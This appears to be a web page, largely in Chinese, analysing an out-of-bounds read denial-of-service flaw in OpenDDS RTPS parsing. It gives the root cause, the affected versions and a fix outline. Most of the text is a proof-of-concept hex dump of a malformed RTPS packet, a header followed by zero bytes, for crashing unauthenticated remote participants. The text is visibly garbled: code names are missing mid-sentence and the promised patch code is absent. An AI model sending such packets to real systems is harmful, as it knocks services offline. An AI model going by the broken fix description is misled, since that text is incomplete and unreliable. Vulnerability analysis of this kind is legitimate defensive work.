OpenDDS CVE-2025-13836 Out-of-bounds Read DoS Vulnerability Analysis and Patch

漏洞概述 CVE ID：CVE-2025-13836 漏洞类型：越界读（Out-of-bounds Read, CWE-125） 严重等级：High 根因： 在解析畸形 RTPS 子消息时，未校验剩余字节数，导致 指针越过 边界，触发 SIGSEGV 段错误。 触发条件：接收端收到长度字段被篡改或序列号异常的 RTPS UDP 报文，反序列化失败后解析循环继续推进 至无效内存区域。 影响范围 受影响版本：OpenDDS < 3.3.0 修复版本：OpenDDS 3.3.0 影响面：任何网络可达的 OpenDDS 参与者均可被远程触发，无需认证或先验状态，接收线程终止将导致整个 DDS 实体崩溃（拒绝服务）。 修复方案 在 首次解引用前增加最小尺寸守卫： 此外， 应在子消息解析失败时中止后续子消息解析，并将剩余 RTPS 报文整体视为不可解析。 POC / 利用代码 ``` RTPS header 52 54 50 53 Magic: "RTPS" 02 03 Protocol version 2.3 01 0F Vendor ID (OpenDDS) 01 0F 75 95 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Goal Reached Thanks to every supporter — we hit 100%!

OpenDDS CVE-2025-13836 Out-of-bounds Read DoS Vulnerability Analysis and Patch

More from this source